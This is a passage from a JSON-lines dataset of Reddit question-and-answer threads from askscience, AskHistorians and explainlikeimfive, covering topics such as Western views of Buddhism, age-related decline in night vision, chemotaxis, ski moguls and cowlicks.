["http://www.iflscience.com/environment/greenpeace-irrevocably-damages-fragile-nazca-lines-peru-during-publicity-stunt"], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "fhr5g0", "title": "What will COVID-19 economic disruptions mean for climate change?", "selftext": "With fewer flights, less traffic, likely less buying and thus manufacturing, what could a 1-2 month hiatus do for impacting the growth of climate change?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/fhr5g0/what_will_covid19_economic_disruptions_mean_for/", "answers": {"a_id": ["fkfxwml"], "score": [5], "text": ["Delay things by some fraction of 1-2 months, roughly. It's not just a temporary reduction in emissions, it's also a temporary slow of innovation, equipment changes and so on. Hard to tell what is more important.\n\nThere are many other effects, of course, but overall it's not a big effect."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bvwmv4", "title": "Where did the Western idea that Buddhism isn't a religion but a philosophy -- and that Buddhism as actually practiced in Asia is a degeneration of real Buddhism -- come from?", "selftext": "There's a commonplace among westerners that Buddhism isn't a religion but is rather a philosophy or meditating on your lunch break. If Buddhism is a religion, it's often said to be something like Unitarianism. It's usually implied that Buddhists don't have any sexual hangups, militancy, or any other things people associate with Abrahamic religions. It's often said that actual religious practice of Buddhists in Asia or in Asian diasporas is a superstitious degeneration of what's actually a philosophy and set of practices.\n\nThe question is where this attitude comes from. I sort of want to blame it on nineteenth-century Brits and maybe comparative religion's start as a discipline -- which is why you sometimes see the analogy of Theravada:Early Church::Mahayana:Late Medieval Catholicism -- but I'm sort of wondering if there's a \"patient zero\" to this outlook.\n\nSo I'm asking you incredibly erudite people, some of whom may have done the relevant historiographical work.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/bvwmv4/where_did_the_western_idea_that_buddhism_isnt_a/", "answers": {"a_id": ["eptj7rw", "eptq7l9", "epuiesd", "epur6ut"], "score": [106, 532, 65, 26], "text": ["Finally, a question I can answer! The short answer is that Buddhism, especially historical Buddhism, was more of a philosophy and less of a religion than Christianity. That\u2019s not to say that it\u2019s not a religion \u2013 just that many sects of Buddhism believe in more questioning and philosophical musing than most sects of Christianity. Westerners like Alan Watts have relatively recently (early to mid 20th century) revived the historical tradition of blending Buddhism with other religions and philosophies. \n\nNow, the long answer. When Siddhartha Buddha conceived Buddhism [in around 520 BCE](_URL_2_), he laid it out primarily on two rule sets. The first was the Four Noble Truths, and the second the Eightfold Path. I\u2019ll begin by explaining each of these 12 essential elements of Buddhism, as I think you\u2019ll see the philosophical leanings. I\u2019ll pull these 12 elements from *Buddhist Scriptures*, edited by Donald Lopez, but they are widely available. \n\n >  Now this, followers, is the noble truth of suffering: birth is suffering, aging is suffering, illness is suffering, death is suffering; union with what is displeasing is suffering; separation from what is pleasing is suffering; not to get what one wants is suffering; in brief, the five aggregates subject to clinging are suffering.\n\n*Dukkha*, the first Noble Truth, holds that all of life involves suffering. No matter how wonderful life is at any given moment, it will return to suffering at some point. \n\n > Now this, followers, is the noble truth of the origin of suffering: it is this craving which leads to re-becoming, accompanied by delight and lust, seeking delight here and there; that is, craving for sensual pleasures, craving for becoming, craving for disbecoming.\n\n*Samudaya*, the second Noble Truth, states that the reason for suffering is craving and desire. Because we want and cannot have, we suffer. \n\n > Now this, followers, is the noble truth of the cessation of suffering: it is the remainderless fading away and cessation of that same craving, the giving up and relinquishing of it, freedom from it, non-reliance on it.\n\n*Nirodha*, the third Noble Truth, states that there is a bit of a loophole \u2013 suffering evaporated when you rid yourself of desire. Eliminate craving and suffering follows. \n\n > Now this, followers, is the noble truth of the way leading to the cessation of suffering: it is this noble eightfold path; that is, right view, right intention, right speech, right action, right livelihood, right effort, right mindfulness, right concentration.\n\n*Marga*, the fourth Noble Truth, is mostly just a plug for the Eightfold Path. In other words, there is a laid-out way to eliminate craving, and it\u2019s called the Eightfold Path. \n\nAlready you should be able to see some major differences between Buddhism and Christianity. Nowhere in the Noble Truths are there mystical elements or strict rules laid out by a deity. While many sects do emphasize these elements, it says a lot that the fundamental basis for Buddhism, the Four Noble Truths, are essentially musings by one person who figured this stuff out. Anyway, on to the rules he laid out, which do involve those mystical elements \u2013 the Eightfold Path. \n\nFirst, Right View essentially says you should start by believing in Buddhism. Basically, that karmic retribution and reincarnation are things. These are the core mystical elements of Buddhism that people have often chosen to leave out of their secular practice. \n\nSecond, Right Intention. Legitimately feel and believe that which you practice \u2013 love, don\u2019t just act like you love; truly be content with next to nothing. This is in stark contrast to historical Catholic beliefs that actions were supremely important and actual beliefs or feelings negligible. \n\nThird, Right Speech. Basically, don\u2019t swear or lie. Be kind and truthful with your words. \n\nFourth, Right Action. Act in a way that improves your wellbeing and others. Do not kill, steal, engage sexually, or generally have material desires. \n\nFifth, Right Livelihood. Do not exploit others \u2013 release your material goods and live like a pauper. \n\nSixth, Right Effort. Focus on reducing undesirable qualities in yourself and increasing desirable qualities. Make an effort to better yourself. \n\nSeventh, Right Mindfulness. Stay present and active in your mind. Keep a clear head and be aware of yourself and your surroundings. This is the basis for the recent Mindfulness movement, which is another example of the philosophical elements of Buddhism being integrated into western society. \n\nEighth, Right Concentration. Essentially, attain oneness \u2013 usually by meditating. This is a particularly difficult point to translate as it involves incorporating the mind, body, and world into a sort of transcendent state. This concentration and oneness should permeate life beyond just periods of meditation. \n\nOne of the most important aspects of these elements of Buddhism is that the Buddha never intended them to be followed as strictly as, say, the Ten Commandments. Buddhist spiritual leaders traditionally guide followers on a path, they don\u2019t shepherd or martyr. Much of the early elements of Buddhism are told through stories; in one such story a disciple of the Buddha tells him that he is the greatest teacher of all. The Buddha scolds his disciple for making such an assumption, as there may be many more teachers who know much more and can teach much better than the Buddha. In other words, while the Four Noble Truths and Eightfold Path together form the Buddha\u2019s path to enlightenment, one may find their own path through a totally different method and still reach nirvana. (For more information on this, try [*Spiritual Authority: A Buddhist Perspective*](_URL_0_))\n\nWhile the fundamental basis of Buddhism carries this degree of flexibility, it\u2019s important to note that many modern sects function as their own unique paths to enlightenment, and therefore do not allow flexibility. This is, in my opinion, the cause of the philosophy/religion confusion surrounding Buddhism: the basis for Buddhism is more philosophical in that it encourages a variety of methods and experimentation to attain true happiness, but almost all established sects believe they have found the most efficient, effective, and wide-reaching path and so follow it with religious adherence. \n\nI\u2019ll take an aside here to give one historical example of Buddhism functioning more as a philosophy than a religion. When Buddhism was first introduced to Japan, it was immediately shot down as heretical and counter to the local Shinto faith. On several occasions around the 6th century AD, Buddhist monks attempted to introduce the religion to Japan, and each time they were shut down both by the people and the government. Success eventually came in an unorthodox fashion \u2013 Buddhist monks began spending significant amounts of time in Shinto shrines. They would return and claim to have converted the *kami*, or minor deities, to Buddhism. They would explain the conversion and the philosophy behind Buddhism, and to many people this made sense. Eventually this method resulted in the widespread establishment of Buddhism, to the point where the vast majority of Japan today practices some form of Buddhism (usually in conjunction with Shinto). In fact, it was Japan that developed the sect of Buddhism most famous in the West \u2013 Zen Buddhism. For further reading on this topic, check out [Kenji Matsuo\u2019s *A History of Japanese Buddhism*](_URL_1_).\n\nThis adaptation of Buddhism is a historical tradition that has in the past century taken place in the West through the likes of Alan Watts. Just as the monks in Japan framed Buddhism as functioning alongside Shinto, so did Watts frame it as functioning alongside traditional Western values \u2013 he provided the framework for a Buddhism that could exist with Christianity, or Atheism, or Hippies, or any number of other Western religions and philosophies. If you\u2019d like to read more on his beliefs, try his seminal work, *The Way of Zen*. In this quite popular book, he lays out the same sentiment you\u2019ve heard plenty of times \u2013 mindfulness brings happiness, releasing the material results in a content existence, enlightenment is a positive experience attainable by anyone. Just as the monks in Japan did, he took Buddhism and framed it as a philosophy to Trojan Horse it into a society with a radically different set of beliefs. \n\nAnyway, I\u2019d be happy to answer more questions on the topic, or provide more sources if you\u2019d like! Hopefully I covered the essentials here.", "I think this is a very complex question because when we talk about buddhism and the west, we first have to look at the origins of buddhism, its spread, and changes over the centuries after its general founding.  This is difficult because buddhism in southeast Asia is different then buddhism in China than buddhism in Korea than buddhism in Japan, Tibet, etc.  Then you look at Theravada vs Mahayana vs Vajrayana and the myriad of sects that exist, each adding or removing or interpreting things in a different way.  I'm not an expert on any of these, but have looked at the history of buddhism in Japan, especially, due to studies in Japanese and martial arts history.  I will try to answer this along those lines.  \n\nAsoka Maurya in the 3rd century BC played a major role in the spread of buddhism throughout India.  Recall that his grandfather, Candragupta, was the founder of the Maurya Empire which saw consolidation and unification of the shattered Indian states by Alexander the Great roughly five years earlier.  His son, Bindusara, expanded the empire further, and then it was Asoka's conversion that sealed the deal.  It's said that Asoka supported tens of thousands of monks and even more stupas on top of countless monasteries.  And when the teachings were brought to Ceylon, that early buddhist canon was committed to writing in the Ceylonese Mahavamsa records, where it was written-\n\n > the most learned monks handed down the text and commentary of the Three Pitakas (Tipitaka) orally; but since they perceived that the people were falling away from the orthodox teaching, the monks convened; and so that the true doctrines might endure, they wrote them down in books\n\nThe result of this is the Pali canon.  Therein lies the base for Theravada buddhism.  Included in these doctrines are rules and guidance for daily affairs with the sangha, thoughts on how to maintain communal harmony within a large and spiritually diverse community, and more teachings on how to actualize sunyata than there are grains of sand on the beach.  And throughout it all, the goal was one of \"happiness\", for that pure, true happiness brought about by realization of sunyata awakens one into the next world (so to speak)-\n\n > One should learn virtue which is of extensive goal,\nand which hat the faculty of Happiness;\nand one should devote oneself to Charity,\nto tranquil behavior and to thoughts of Friendship.\nHaving devoted himself to these three virtues,\nwhich provide reason for happiness,\na wise man gaineth the world of happiness-\na world all free from distress.\n\nSecularity of these teachings was crucial to the spread through India and abroad.  Asoka sent teachers of the buddhist dharma to the West: Antiochus II of Syria, Ptolemy II of Egypt, Magas of Cyrene, Antigonus Gonatas of Macedonia, and Alexander II of Epirus.  This ties in to another question I answered awhile ago on [why didn't Hinduism, Buddhism, Taoism, or any religion from East Asia spread to the Europe Continent or Middle East via the Silk Road or any trade routes](_URL_1_).  As J. Kennedy [wrote](_URL_0_) in the *Journal of the Royal Asiatic Society of Great Britain and Ireland* in 1902, Asoka's emissaries are marked in his edicts, but there appear to be no real records on the Western side of such transmissions- or rather, those transmissions taking hold.  This has the effect of keeping details of buddhist philosophy consolidated to Asia, out of the field of awareness of Western scholars even if the Rock Edicts of Asoka were available from the Indo-Greek King Menander I.  \n\nThe first Christian notice of Buddhism that I'm aware of is with Clement of Alexandria in 212AD. In his Stromata (ie, Miscellanies), he recognizes some Indians who obey the precepts of Boutta, \"whom on the account of his extraordinary sanctity they have raised to divine honours.\" Clement spoke highly of Buddhism, calling it a philosophy \"first in its ranks\" for shedding light over the nations.\"  It's important to understand how buddhism didn't really flow past the Middle East in the pre-medival times.  With the Silk Road example, the Turkharistan and Sogdiana regions in the Mid East acted as major trading hubs on the Silk Road between the four directions. All cultures religions and philosophies aggregated there in the 1st century AD.  Diversity existed in part because the various city-states of the region were not part of a single polity nor did they tend to have complete control over their subjects. Thus no one single religion/philosophy/politic/etc could exert dominance.  It should also be noted that this lack of cohesion resulted in differing rituals even among practitioners of the same religion; Zoroastrians and Buddhists in Sogdian cities practiced differently than those in Iran, for example.  Locality plays a major role in evolution of religion, philosophy, and other cultural aspects after all.\n\nWhy does all this matter?  Because of your question regarding the West and the idea of religion vs philosophy.  When the West thinks of religion, they think of divinity, something greater to worship, with teachings and ritual to bring one closer to that divinity.  When Jacinto Orfanel, a Spanish Dominican, arrived in Japan in 1607 to preach Christianity, he (along with other missionaries to Japan) reported back how the Japanese were- \n\n > much addicted to their idolatries\" and \"there are some people who worship and idol called Shaka [Sakyamuni Buddha]... other people worship an idol called Amida [Amida Buddha].\n\nHerein lies the crux to the confusion with the Western view of buddhism as religion vs philosophy.  This \"worship\" is not really worship.  Amida is not worshipped as an external deity no more than Siddhartha or Sakyamuni.  Amida, Dainichi, Kokuzo, all the Vidyaraja, are aspects of the self, with \"worship\" actually being a turn to focus on those aspects, or manifesting as that right here and now.  This secular, philosophical nature is what allowed it to spread to Daoist China and Shinto/Onmyodo-based Japan: association of similarities and acceptance of what's already there.... with a different twist. (continued below)", "While there have been some great answers so far on the general history of Buddhism and its contact with the west, I feel most of them come from an \"insider perspective\", i.e. from those who see no great disconnect between the religion of Buddhism as we know it in the West today, and the Buddhist traditions of Asia, especially prior to western colonisation. OP clearly doesn't share this view, and since I agree with them, I guess it falls to me to take a stab at answering the original questions:  When did the West started to see Buddhism as a philosophy of enlightenment and meditation, apparently completely misunderstood by its practitioners in Asia? And is there a patient zero, someone who is (mostly) responsible for spreading this view? I'd say yes, there is.\n\nHenry Steel Olcott (1832 - 1907) is one of the major figures of what is sometimes known as \"Protestant Buddhism\", the Buddhist revival movement originating in Sri Lanka with heavy nineteenth-century Anglo-American Protestant influences. Born as a Presbyterian in Orange, New Jersey, Olcott co-founded the Theosophical Society in 1874, along with the famous Russian occultist Helena Petrovna Blavatsky. In 1880, he and Blavatsky publically converted to Buddhism, the first known American to do so. After that,  in 1883, Olcott traveled to Ceylon and from there he started his life's work of establishing Buddhism as a unified religion, writing countless tracts and, among other things, established the international Buddhist flag design still used today.\n\nOlcott's own idea of Buddhism was very much shaped by his time and background as a Theosophian and Orientalist. Buddhism, in his mind, was a \"scientific religion\", unlike the obscurantism of religions like Christianity. He based this view on his own interpretation of ancient Buddhist scriptures, which, in true Protestant fashion, he believed to be the \"real\" Buddhism, unlike the primitive traditions of his Asian contemporaries, whose practices he denounced in his *Buddhist Catechism* as 'postively repugnant... Pagan, mean and spurious'. To him, Buddhism was 'a pure moral philosophy, a system of ethics', where rituals, charms and incantations were but perversions of its original message, the following of the five precepts. Accordingly, he also disapproved of the monastic traditions common in many Buddhist schools of thought.\n\nOlcott's interpretation of Buddhism greatly influenced Ceylon reformists like Anagarika Dharmapala, as well as his fellows in the Theosophical Society. Through them, it eventually spread to Japan, shaping its own Neo-Buddhism and leading to a curious feedback loop where western scholars saw their own views on Buddhism confirmed through a system that they themselves helped to change.\n\nOn that basis, I would nominate Olcott as the \"patient zero\" of that particular interpretation of Buddhism so endemic to the West. Though probably not the first, he was certainly one of the most influential of the early Buddhist enthusiasts.\n\nEDIT: Fixed some typos.\n\nSources:\n\n* Bechert, Heinz. *Der Buddhismus in S\u00fcd- und S\u00fcdostasien: Geschichte und Gegenwart.* Kohlhammer, Stuttgart, 2013\n* Gombrich, Richard  &  Obeyesekere Gananath. *Buddhism transformed*. Princeton University Press, Princeton, 1988\n* Prothero, Stephen. *Henry Steel Olcott and \"Protestant Buddhism\"* Journal of the American Academy of Religion, 1995.", "Like /u/SteveGladstone said, this is a really difficult question to answer because \"Buddhism\" contains under it so much diversity of thought and tradition and practice. As an undergrad who's studied some buddhist thought and buddhist history I hope I can elaborate more on some elements that the other commenters haven't covered.\n\nMost Buddhist scholars today will talks about something called \"Buddhist Modernism\" that describes a phenomenon very similar to what you have mentioned. It's the conception of Buddhism that you've probably seen many times in your daily life nowadays that presents Buddhism as a religion free of superstition, compatible with science, promoting an ethics of compassion and responsibility and mindfulness, divergent from what seems like a \"superstitious\" and \"ritualistic\" traditional Buddhism that's practiced widely across Asia. Historians will usually trace the emergence of this conception back to the encounter between Buddhism, as practiced in all sorts of variegated traditions across Asia, and europeans, who arrived in the colonial period with western science, philosophy, religion. Despite the diversity of Buddhist traditions across Asia, in almost every country and every Buddhist tradition during this period, the encounter will create a \"modernized\" Buddhist tradition.\n\nI don't know as much about other countries (the book \"The Making of Buddhist Modernism\" is really great and touches on them in much more depth than I can), but Sri Lanka in the 1800s provides a really representative example of this phenomenon. When British protestant missionaries arrived in Sri Lanka, they immediately began setting up schools and missions and printing presses, with backing from the British government. To aid in their proselytization efforts, two British Methodists in the 1830s, Daniel Gogerly, and David de Silva, who had learned both Sinhala (the vernacular Sri Lankan language) and Pali (the ancient language of Theravada Buddhist text), wrote pamplets in Sinhala attacking Buddhist doctrine, questioning the historicity of Buddhist scriptures, and explaining the scientifically impossible nature of Buddhist heavens and hells. Because these pamplets were published at a mass scale in the vernacular language, Theravada monks were compelled to respond, and when they joined the debate, they questioned Christian missionaries on very much the same grounds, arguing against the historicity of Christian scripture, asking how Christian cosmology was possible scientifically, and countering Christian accusations of superstition by calling attention to aspects of Christian dogma like the Trinity. In this debate and ones that follow it, a trend develops where Sri Lankan Buddhists argue against Protestant Christianity using the very same arguments British missionaries deployed against Buddhism, but then going one step further and arguing that it is actually Buddhism instead of Christianity that is most compatible with enlightenment ideas of science, rationality, compassion. Alongside this, there arises a tendency to jettison the 'superstitious' and folk religion/lay aspects of Sri Lankan Buddhism that didn't fit into the modernist religious conception alongside a newer focus of religion on the laity rather than monasticism.\n\nWithin this environment you have the emergence of younger Buddhist reformers born to a middle class Sri Lankan families and educated in Protestant schools, most notably among them Anagarika Dharmapala, who argued at the 1893 world fair for the rational and ethical core within Buddhism, the compatibility between Buddhism and science (in fact arguing that Buddhist ideas about causality and empiricism preceded the European scientific tradition by 2,500 years) and promoted lay meditation (previously meditation was only practiced by monks). These arguments were widely received and joined transcripts of previous debates in Sri Lanka published by the Theosophical society and other European popularizers of Modernist Buddhism, and marked the beginning of the dissemination of these modernist Buddhist ideas in America and Europe.\n\nThere's a similar process that happens all across the Buddhist world, in Thailand (where the king Mongkut, after a western education, enters monastic life at age 20 following Thai tradition, only to be appalled at what he sees as the degradation of monastic tradition. He founds a new official Buddhist sect in response that's both fundamentalist in how it goes back to the Pali canon and modernist in its compatibility with 'science' and 'reason'), in Japan (I can't remember the book anymore, but there's a really great academic text about how the Meiji Restoration reformers wanted to ditch Buddhism altogether because they thought it was incompatible with their modernizing project, but the educated proponents of one modernized school of zen convinced them otherwise), and other similar cases in China and Tibet. Of course, this initial phenomenon of modernizing figures is only the beginning in a longer history of Buddhist modernism that continues to today, but I've got finals coming up, a lot of the larger history falls outside my area of knowledge, and a lot of other people can probably attest to it better than I can.\n\nAnd I guess also to make a short closing point, the fact that a lot of contemporary Buddhism is modernist doesn't mean that it's less valid or \"pure\" than traditional Buddhism. Many people in Sri Lanka and Myanmar and many Buddhist countries currently follow \"modernist\" schools of Buddhism, and instead of understanding it as a religious movement imposed mostly by external forces, people like Richard Gombrich will talk about how there is an \"elective affinity\" between for example the textual fundamentalism of Theravada Buddhism and the sola scriptura of the Protestantism that influenced many Buddhist reformers, or how \"modernist Buddhism\" really does re-illuminate certain elements of early Buddhism that had become less emphasized over time (while also of course de-emphasizing certain cosmological and social elements of Buddhism).\n\n & #x200B;\n\nEdit: fixing typos and phrasing\n\n & #x200B;\n\nSources:\n\nThe Making of Buddhist Modernism - David McMahan\n\nCurators of the Buddha: The study of Buddhism under Colonialism - Donald Lopez\n\nTheravada Buddhism: A Social History from Ancient Benares to Modern Colombo - Richard Gombrich."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["www.jstor.org/stable/40864873", "https://terebess.hu/zen/JapaneseBuddhism.pdf", "https://asiasociety.org/education/origins-buddhism"], ["https://www.jstor.org/stable/25208413", "https://www.reddit.com/r/AskHistorians/comments/4txvom/why_didnt_hinduism_buddhism_taoism_or_any/d5lepl0/?context=3"], [], []]}
{"q_id": "1em3ys", "title": "What are a historian's most used tools/techniques that most people don't know about?", "selftext": "I mean tools as in the tangible, and techniques to be more of a skill - like how one retains large quantities of information.\n\nSo what would you find in a historian's collection of skills, techniques, devices, methods, tools, etc?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1em3ys/what_are_a_historians_most_used_toolstechniques/", "answers": {"a_id": ["ca1qwzz"], "score": [4], "text": ["Historians lack magic powers and certainly magical tools. Most of us have some kind of data management system, which range in complexity from custom computer databases to the humble index card. Some historians try to use electronic databases as a means of keeping all of their information straight, but some use relatively simple systems of jotting out their themes and information onto plain old paper. There may be some who can really carry it all around in their head but they'd be fools to trust their brains alone when it came to writing things up.\n\nThe biggest \"technique\" is that we read a lot about given subjects and that tends to help one remember things. In my area of expertise I can rattle off dates and names and stories and facts, but it's not because I have some kind of special memory or special system for remembering them... it's that I've been looking at the same damned dates, names, stories, and facts for a very long time, and they tend to sink in after awhile. \n\nIn archives, I use a digital camera. I sometimes keep track of what I look at with a spreadsheet program. I know, super exciting, right? I am searching my brain but I've never seen anything that most historians use that would be much of a surprise to you. There are some historians who are very data-heavy and they use non-standard quantitative or qualitative analysis programs but I think of that as the exception to the norm. (And honestly I don't really know that much about what they do.)\n\nThe real \"special tool\" of the historian is knowing how to _think like an historian_, which is a hard thing to explain concisely (and more or less what you are being taught when you study history in grad school). \"Thinking like an historian\" means, among other things, the understanding the importance of context, learning to get outside of a presentist mindset, picking up a gut sensibility of how people in a given period thought about their world, believing that there is truly nothing new under the sun (if only one looks hard enough) while at the same time knowing that there are indeed things about the past that are not the same as the way things are done today (that is, the past can be very strange and unexpected). The difference between someone who knows lots of facts, but doesn't know how to think like an historian, is more or less the difference between an historian and a history buff. The history buff will tell you every battle of the Civil War; the historian will be able to tell you what the facts actually _mean_, beyond the mundane."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3tasa8", "title": "I feel like my night vision was better as a child, is this possible?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3tasa8/i_feel_like_my_night_vision_was_better_as_a_child/", "answers": {"a_id": ["cx4jl9e", "cx4lusf", "cx4m6ek", "cx4obmz", "cx4oxzr", "cx4p0hf", "cx4stcs", "cx4tu78", "cx4vjt8", "cx4w8yz"], "score": [826, 31, 17, 3, 2, 2, 10, 7, 2, 3], "text": ["Indeed, as people age, both visual acuity as well and night vision can decline, and in fact the two can change independently of each other. In the case of visual acuity, as your eyes get older, the lens of the eye can become less flexible, which makes it [difficult to properly focus at close distances](_URL_3_) (a condition called [presbyopia](_URL_2_)), hence the need for reading glasses. In addition, the visual receptors in older people can degrade over time. Importantly, the [rod cells](_URL_0_) that dominate at low light conditions degrade faster than the [cone cells](_URL_1_) that operate in well-lit conditions. Therefore, many older people find their night vision compromised even when their normal vision during daytime is not largely affected. Part of this decline appears to be genetic origin, but environmental factors also appear to play a key role, [as described in this paper](_URL_4_).\n\nedit: Corrected the name of the first condition to presbyopia per /u/NineEyedCyclops's explanation", "In short, yes.\n\nThe long version:\nOne reason that has been studied is that the pathway to regenerate rhodopsin slows as we age. \n\nRhodopsin is the pigment in the light-collecting rod photoreceptors in our eyes. Rhodopsin is also a G-protein coupled receptor (GPCR). When a photon of light hits the rod cells, 11-cis-retinal in rhodopsin changes its shape and isomerizes to all-trans-retinal. This change in shape is what allows transducin, the G protein coupled to the rhodopsin GPCR, to become activated. Transducin then goes on to activate a cGMP cascade that provides the sense of vision to the brain.\n\nBut that was just for one photon. What about for the next? Or the one after that? Then rhodopsin has to be regenerated. 11-cis-retinal has to be continually brought to the rod in order to re-make rhodopsin. But in aging, this translocation is slowed, slowing the ability to regenerate rhodopsin. So it takes longer for vision to adjust to low light conditions.\n\nI hope this was helpful. I am certainly not an expert on this and so far I've only learned about this in the context of the GPCR. But if you're interested and want more info, please see [this paper](_URL_0_). I'm sure there's been more recent work done, but I liked the concision of this paper.\n\nEDIT: Adding another more recent [paper](_URL_1_).", "Are there any methods to improving night vision? i.e. eating carrots or other nutrition, training your eyes in low light? Or least things to stop doing that further deteriorates your vision further? \n\nIt's been getting harder and harder for me to drive at night each year. ", "Everything else is also right, but this is also accounted for by the fact that our pupils dilate less as we are younger, so our eyes just don't get as much light at night as we age. For someone young, your pupil will be about 7mm when dilated, but when you are older, it may only be 4 or 5mm in diameter. ", "Mine certainly has, although not independently.  From birth until I crossed the 30-line I didn't need any corrective eyewear, but now have astigmatism, likely from what i'm doing right now... sitting in front of a computer, according to my ophthalmologist.   And the only time i actually need to use my glasses is in front of a screen (tv, computer) and while driving at night.", "Could this be relevant at all?:  So personal 'screens' are way more ubiquitous now than even ten years ago or so.  It takes 20 to 30 minutes for eyes to completely adjust to darkness.  The average person probably doesn't go longer than that without glancing at their bright phone screen or other device.  Even if you're outside at night or in a dark room, your eyes might not get a chance to fully go into \"night mode\" if you're consistently glancing into a bright light.  ", "Amateur astronomer here.\n\n\nPupil diameter reduces with age. Children then have the largest pupils, hence can capture more photons.\n\nWhen you are designing a telescope, or choosing an eyepiece for visual use (not photography), you need to take account of the age of the user; the older, the smaller exit pupil you are aiming for.", "When was your last dilated eye exam? There are a lot of eye diseases that the first symptom is decreased night vision, Retinitis Pigmentosa being the most common. I've seen a few times now patients only complaint was reduced night vision and they had something going on in the back of their eye. Or could be nothing at all, but better safe than sorry. ", "At 41, I can say I already see the day coming that I take myself off the road because of night vision. I got new glasses 2 years ago and that's when I realized a new pair of glasses doesn't correct everything. Letters/Numbers are still a bit blurry on edges and night vision isn't what it used to be. Another question to ask, can any of that night vision be recovered...even a bit?", "You can generally expect . . . by 50-60 oncoming cars headlights will cause more problems (star effects and \"too bright\") and by 80, night vision is horrible to non-existant.  To the point most 80 year old's (that still drive) won't drive at night, or drive in strange areas they aren't very familiar with.  That's not official, I'm not the designer, just . . . seems to be what people report."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Rod_cell", "https://en.wikipedia.org/wiki/Cone_cell", "https://en.wikipedia.org/wiki/Presbyopia", "https://upload.wikimedia.org/wikipedia/commons/8/8b/Presbyopia.png", "http://www.sciencedirect.com/science/article/pii/S0161642008008932"], ["http://www.sciencedirect.com/science/article/pii/S0042698999000929", "http://www.sciencedirect.com/science/article/pii/S1568163702000077"], [], [], [], [], [], [], [], []]}
{"q_id": "2gcwi3", "title": "the difference between 'assume' and 'presume'", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2gcwi3/eli5_the_difference_between_assume_and_presume/", "answers": {"a_id": ["ckhv8p0"], "score": [12], "text": ["Assuming is a belief without any proof. Presuming is a belief by using probability. \n\nAlthough most people use them interchangeably, there is more of a belief with assumptions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3kgtjj", "title": "How does chemotaxis work?", "selftext": "I've always been interested in finding out about just how antibodies can 'find' their target antigens- enlighten me please!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3kgtjj/how_does_chemotaxis_work/", "answers": {"a_id": ["cuxan43", "cuxk1ll"], "score": [19, 5], "text": ["You're asking two different questions. Antibodies don't interact with antigens by chemotaxis. Chemotaxis is when an organism moves in response to a chemical stimulus in the environment (like how you might move away from an area if you smelled a skunk, or if you moved towards an area if you smelled fresh baked cookies). \n\nAre you asking about antibodies or chemotaxis? ", "As was stated before, antibodies don't use chemotaxis, but chemotaxis, at least in flagellated bacteria (bacteria with flagellum) works by the bacteria measuring a \"temporal gradient\" of a certain molecule. So let's say the you place a drop of glucose solution in a medium full of bacteria. The bacteria will be randomly moving in one direction, and they have special receptor proteins which bind the molecule they want to follow, in this case glucose. So it's going along and the protein binds to glucose. When the protein gets bound to glucose, a methyl group is added to the protein, which decreases the affinity of the protein for glucose. This means that to keep binding glucose, the cell must be moving towards a more concentrated source of glucose, because as the receptor's affinity for the ligand (glucose) decreases, higher concentrations for the same amount of glucose to bind to the proteins. So the bacteria will move in a straight line until it has reached and passed its \"point of closest approach\" to the \"center\" of the chemical gradient. When this happens, some proteins get phosphates added to them and the flagella begin to spin the other direction, and this process somehow makes the bacteria tumble around in space for a short amount of time. Then it will begin moving again and the process will start over, if it happens to point towards the more concentrated areas, it moves forwards, if it does not, it will tumble again until it begins to move towards areas of higher concentration. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2w7a90", "title": "how are moguls formed?", "selftext": "As in the type you see when you go skiing, not the business people.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2w7a90/eli5_how_are_moguls_formed/", "answers": {"a_id": ["coo7cr4", "cooiqbe"], "score": [10, 3], "text": ["Turning carves away a tiny layer of snow.  If a lot of skiers all turn in the same place it will make a rut.  Create a lot of ruts, and you get a mogul field. Moguls start small with shallow ruts between them.  Some skiers turn on top of the moguls, but most aim for the ruts or the area just uphill of the ruts.  Over time the ruts get deeper and deeper.", "Actually, for competitions/planned mogul runs they usually just use a series of slolom poles to mark the mogul intervals, and then have a snow cat carefully pile snow in the correct locations. After the snow is piled, a team goes out with shovels to carve/smooth out the divots by hand. \n\nHeres some good info on the process. _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://wiki.fis-ski.com/index.php/Development_of_A_Moguls_Course"]]}
{"q_id": "307gj1", "title": "what are cow licks, why do some people have them while others don't, and why were they evolved?", "selftext": "By why were they evolved I mean why did us humans get them, was it for better vision or something?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/307gj1/eli5_what_are_cow_licks_why_do_some_people_have/", "answers": {"a_id": ["cppzoge"], "score": [11], "text": ["Hair comes out from \"follicles\" which are little pits in your skin that nourish the hair and make it grow. \n\nIf the follicle doesn't point straight up, then the hair growing out if it won't point straight up either, instead it will grow out at an angle. \n\nThe follicles on most people's heads are arranged in circular patterns called \"whorls\" where all the follicles slant in the same direction around the circle (if you have ever seen a picture of a crop circle, that's basically the same idea). Most people have several whorls on their heads.\n\nSo if you comb or brush your hair in the opposite direction from where it naturally wants to slant towards, your hair will point in a different direction than other hair near it, making a cowlick - but only if your hair isn't too short or too long, and if your hair texture is stiff enough.\n\nYou also could get a cowlick where the hairs in two whorls meet, because the hair from one whorl will be coming out of your head in a different direction from the hair next to it.\n\nNobody is certain why hair evolved to grow in whorl patterns on people's heads. But it probably didn't evolve to help vision since even if you have those whorls, you won't get a cowlick unless your hair is just the right length and you comb it in just the right (wrong) way - so our ancestors probably didn't encounter cowlicks enough for it to influence their survival by keeping hair out of their eyes.\n\nEDIT: Revised paragraph explaining whorls and added paragraph 